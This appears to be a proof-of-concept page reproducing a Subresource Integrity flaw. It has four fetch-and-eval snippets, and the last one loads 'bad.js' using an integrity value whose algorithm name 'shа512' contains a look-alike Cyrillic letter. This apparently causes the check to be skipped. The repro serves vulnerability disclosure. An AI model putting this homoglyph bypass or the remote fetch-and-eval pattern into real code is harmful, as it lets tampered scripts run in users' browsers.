Page code:
Repository: https://github.com/LiviaMedeiros/SRI-vulnerability-repro
await fetch("https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.21/lodash.min.js", {
  integrity: "sha512-WFN04846sdKMIP5LKNphMaWzU7YpMyCU245etK3g/2ARYbPK9Ub18eG+ljU96qKRCWh+quCY7yefSmlkQw1ANQ==",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated first snippet"));
    
    
  
await fetch("https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.21/lodash.min.js", {
  integrity: "sha512-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated second snippet"));
    
    
  
await fetch("https://liviamedeiros.github.io/SRI-vulnerability-repro/bad.js", {
  integrity: "sha512-WFN04846sdKMIP5LKNphMaWzU7YpMyCU245etK3g/2ARYbPK9Ub18eG+ljU96qKRCWh+quCY7yefSmlkQw1ANQ==",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated third snippet"));
    
    
  
await fetch("https://liviamedeiros.github.io/SRI-vulnerability-repro/bad.js", {
  integrity: "shа512-WFN04846sdKMIP5LKNphMaWzU7YpMyCU245etK3g/2ARYbPK9Ub18eG+ljU96qKRCWh+quCY7yefSmlkQw1ANQ==",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated fourth snippet"));